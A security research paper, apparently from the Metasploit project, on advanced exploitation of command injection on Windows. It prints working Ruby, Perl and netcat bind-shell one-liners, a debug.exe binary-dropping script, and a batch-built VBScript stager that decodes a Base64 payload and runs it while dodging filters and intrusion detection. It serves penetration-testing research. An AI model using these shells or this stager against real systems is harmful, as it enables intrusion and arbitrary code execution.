Advanced Command Injection Exploitation

cmd.exe in the 00's

Metasploit

bannedit <bannedit0@gmail.com>

Executive Summary

Command injection vulnerabilities have always been a neglected vulnerability class when it comes to exploitation. Many researchers simply view command injection bugs as a direct interface with a shell. While this is true, much more complex tasks can be achieved rather than just executing commands. The purpose of this talk is to discuss advanced techniques to exploit command injection bugs to leverage more out of these types of vulnerabilities than just a shell. The techniques covered in this paper will show examples of taking a command injection bug and turning it into full native payload execution.

This paper documents the process of designing and developing a reliable command injection payload stager for the Windows operating system implemented within the Metasploit framework.

Table of Contents

Introduction

The first OS command injection vulnerability was reportedly discovered in 1997 by a Swedish programmer. However, it is likely that command injection vulnerabilities have been around much longer than that. Since 1997 many command injection vulnerabilities have been disclosed publicly.

Since the discovery of this vulnerability class not much thought has really gone into exploitation. Looking at exploits for the majority of these vulnerabilities one would quickly see a low level of sophistication in exploitation by any standard. Many security researchers are accustom to the old days when a shell was good enough. However, in the modern landscape there are so many useful tools and post exploitation techniques that a shell while still useful has a lot less value if the necessary tools are not available to the attacker.

Obviously, techniques to upload and execute payloads via command injection vulnerabilities has been seen in the wild and in some proof of concept exploits published. Most of these techniques have focused on the use of tools and techniques which are problematic in harsh network environments. Typically SSH or FTP is used to transfer files to the victim machine. This method is very dependent upon the network configuration and firewall rules of the network. Additionally, this method has become much more difficult since windows provides fewer tools to perform network transfer of files via the command line. One interesting method which is Windows specific is the debug.exe method. This method utilized a script which would construct a binary on the victim machine from a hexdump. This method was extremely creative, however it has been addressed in recent versions of Windows. Windows Vista and up no longer include the debug.exe binary.

Improved techniques are necessary to reliably exploit these vulnerabilities in the field. When adding the reliability issue into the mix exploitation of these vulnerabilities becomes much more difficult and requires a lot more creativity.

This paper hopes to provide a basic understanding of how command injection vulnerabilities are typically exploited and to give shed light on research conducted regarding improved methods of exploiting these vulnerabilities. The paper intends to cover the design process of a reliable command injection payload stager which will allow a penetration tester to drop binary payloads such as meterpreter shells and other post exploitation tools.

Network Fu

For nearly a decade network file transfer techniques have been utilized to upload payloads to victim machines via command injection vulnerabilities. From the perspective of a virus writer this is a tried and true technique. These methods are still very popular today among exploit writers. However, when looking through the eyes of a penetration tester, these techniques lack reliability.

Network-Fu, a term coined by HD Moore, translates into using any network related command to either communicate or transfer files from outside a network. This includes, mounting remote drives, ftp, ssh, rcp, netcat, and various other commands. Additionally scripting languages have also been used to create bind or reverse shell payloads.

Examples:

Ruby Bind Shell

```
ruby -rsocket -e
's=TCPServer.new(\"4444\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'
```

Perl Bind Shell

```
perl -MIO -e \"while($c=new IO::Socket::INET(LocalPort,4444,Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\"
```

Netcat Bind Shell

```
nc -lp 4444 -e /bin/sh
```

The above examples show commands which can be utilized to bind a shell to port 4444. While these commands are not very complex, these examples depict the typical level of sophistication found in most public command injection exploits.

Although these examples lack sophistication similar payloads could be produced with much more sophistication. However, any payload which relies on network related commands or scripting features will ultimately fail within harshly regulated networks with strict firewall and web filtration rules, causing reliability issues. These techniques do have a few benefits in that there is no special encoding is necessary and there is very little bandwidth overhead.

Non-Network Fu

It is apparent that there are issues with network related payloads. Reliability is the main concern when authoring any exploit for use in a penetration testing environment. As such a new technique is required to resolve the reliability and dependency issues which are inherent with the Network Fu techniques.

Non-Network Fu are techniques which address all the issues posed by Network Fu methods. The way that this is achieved is by reusing the socket utilized to trigger the exploit in the first place. Since exploitation is obviously allowed over the established connection it makes sense to reuse that connection to perform more sophisticated command injection in a reliable fashion.

In the past there has only been one major example of this type of payload. This example is from Metasploit contained within the mssql_payload.rb exploit. The exploit uses file redirection (the > and >> metacharacters) to create a file containing a script which interacts with the debug.exe command. This script uses debug.exe to drop a binary payload on the victim machine.

The following is a codesnippet from the debug script which drops a binary payload:

```
echo n h2bv2.bin>>h2bv2

echo r cx>>h2bv2

echo 1ef0>>h2bv2

echo f 0100 ffff 00>>h2bv2

echo e 100 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00>>h2bv2

echo e 110 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>h2bv2

...(cut for brevity)

echo w>>h2bv2

echo q>>h2bv2
```

This script when executed and piped to debug.exe will drop a binary which is then used to convert a hexdump of another binary payload. This second binary payload is the final stage of the payload and can be pretty much anything from a bind shell to a command

line tool. It is quite obvious that this technique is much more complex than its counterpart. The reason it is more complex is because the binary payload needs to be transferred in a way that uses the underlying connection to transfer the binary rather than pre-existing tools.

Designing the Stager

Now that we have a decent understanding of how command injection vulnerabilities are typically taken advantage of and a little bit about the generic cases of each exploitation method it is time to design the command injection stager.

It is apparent that network file transfer is out of the question. The debug.exe method is nice but in more recent releases of Windows operating systems the debug.exe command has been removed. The debug.exe method is the most complex of the two however it offers a lot more reliability due to the reuse of the established communication socket. So a new method is needed which allows for the same connection reusability.

While researching for an answer to this puzzle it was found that WScript could be a potential solution. WScript is a scripting language interpreter which can execute JScript and VBScript from the command line. Using similar techniques to that of the debug.exe script it would be possible to create a Batch script which creates a VBScript file to execute. Within the VBScript we would need to create the binary payload.

Our technique is similar to that of embedding a binary payload within a MS Word document. The main difference is that we will be transmitting all the data over a wire rather than embedded within a file format.

There are still some major design decisions to consider. What can we potentially do to avoid metacharacter filters if this command injection stager is used in conjunction with a web application which does rather strict filtering. We need a method to encode the payload which we send over the wire. We also need to consider things like multi threaded servers. The main problem discovered with multithreaded servers was that some commands would execute out of order while various threads fought for processing time. This could be disastrous if our payload requires all the commands to be executed in a specific order. Also, command line length is a factor. Several versions of cmd.exe set limitations on the length of commands which can be executed successfully.

To avoid metacharacter filters we need to utilize some sort of encoding scheme. Rather than reinventing the wheel we could potentially use something which generates pure ASCII output. This encoding scheme could be some kind of XOR encoding or we could go even simpler and utilize a standard already used commonly within web traffic, Base64 encoding. This has the added benefit of masking the content of the binary payload over the wire to some degree. It is less likely to trigger an Intrusion Detection System or Intrusion Prevention System signature. Even though the encoding removed nearly all metacharacters the redirection metacharacters will still be necessary to write the payload to a file.

The following is the batch script which generates a Base64 decoder vbs file:

```
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub

echo Set file = fs.GetFile("ENCODED") >>decode_stub

echo If file.Size Then >>decode_stub

echo  Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub

echo  data = fd.ReadAll >>decode_stub

echo  data = Replace(data, vbCrLf, "") >>decode_stub

echo  data = base64_decode(data) >>decode_stub

echo  fd.Close >>decode_stub

echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True)
>>decode_stub

echo  ofs.WriteLine data >>decode_stub

echo  ofs.close >>decode_stub

echo  Set shell = CreateObject("Wscript.Shell") >>decode_stub

echo  shell.run "DECODED", 0, true >>decode_stub

echo Else >>decode_stub

echo  Wscript.Echo "The file is empty." >>decode_stub

echo End If >>decode_stub

echo Function base64_decode( byVal strIn ) >>decode_stub

echo     Dim w1, w2, w3, w4, n, strOut >>decode_stub

echo     For n = 1 To Len( strIn ) Step 4 >>decode_stub

echo               w1 = mimedecode( Mid( strIn, n, 1 ) ) >>decode_stub

echo               w2 = mimedecode( Mid( strIn, n + 1, 1 ) ) >>decode_stub

echo               w3 = mimedecode( Mid( strIn, n + 2, 1 ) ) >>decode_stub

echo               w4 = mimedecode( Mid( strIn, n + 3, 1 ) ) >>decode_stub

echo               If Not w2 Then _ >>decode_stub
```

```
echo                    strOut = strOut + Chr( ( ( w1 * 4 + Int( w2 / 16 ) ) And 255 ) ) >>decode_stub
echo            If  Not w3 Then _ >>decode_stub
echo                    strOut = strOut + Chr( ( ( w2 * 16 + Int( w3 / 4 ) ) And 255 ) ) >>decode_stub
echo            If Not w4 Then _ >>decode_stub
echo                    strOut = strOut + Chr( ( ( w3 * 64 + w4 ) And 255 ) ) >>decode_stub
echo    Next >>decode_stub
echo    base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode( byVal strIn ) >>decode_stub
echo Base64Chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
echo    If Len( strIn ) = 0 Then >>decode_stub
echo            mimedecode = -1 : Exit Function >>decode_stub
echo    Else >>decode_stub
echo            mimedecode = InStr( Base64Chars, strIn ) - 1 >>decode_stub
echo    End If >>decode_stub
echo End Function >>decode_stub
```

This script will read an input file and decode the base64 encoding, it will then place the decoded data into an output .exe file and execute the decoded binary.

Handling the issues discovered with multithreaded servers requires the command stager to pause transmission after every piece of data sent. This adds a little bit of overhead. However, the pause period is extremely low, the maximum necessary would be about two seconds per command. With this in mind keeping the payload as small as possible and the number of commands to a minimum is a necessity.

Lastly, buffering routines are required to ensure that the limitations in place on command line length are not surpassed.

Several versions limit the command line length by various sizes. Buffering the command line length adds additional overhead to the process of sending the payload however, the reliability added by this technique is well worth just about any bandwidth overhead.

The following is a table of the containing the maximum command line length for each version of Windows:

XP / Win2k3 / Vista	**8191b**
Win2k	**2047b**
Win95 / 98	**256b**

Modern operating systems allow for much more data to be sent at one time.

The final thing to do is to combine all the individual pieces into one.

Now that a design has been decided on the next step would be to determine the potential uses of the design. Command injection vulnerabilities typically allow a direct interface with the command line. By using the command stager design we have a powerful tool which can allow us to upload any tool without the fear of network firewalls or web filters denying access to the resources needed.

Post exploitation is a topic which could cover an entire book. There are many tools which can help a penetration tester further penetrate a network, tools which can collect authentication information, steal credentials from privileged processes, etc.

Conclusion

Command injection vulnerabilities are nothing new. The techniques used to exploit them still have a lot of room for growth. Currently the techniques implemented in the majority of exploits are crude and lack sophistication which would truly show the power of such vulnerabilities. As a penetration tester, the usefulness of a simple shell is limited. However, if combined with useful post exploitation tools that simple shell could ultimately lead to further penetration into a network.

It is hoped that the design included within this paper is used as a baseline and later improved upon even further to allow a very high level of sophisticated post exploitation when dealing with command injection. Research will continue into this area and improvements will continue to be added to the command stager design and implementation within the Metasploit framework.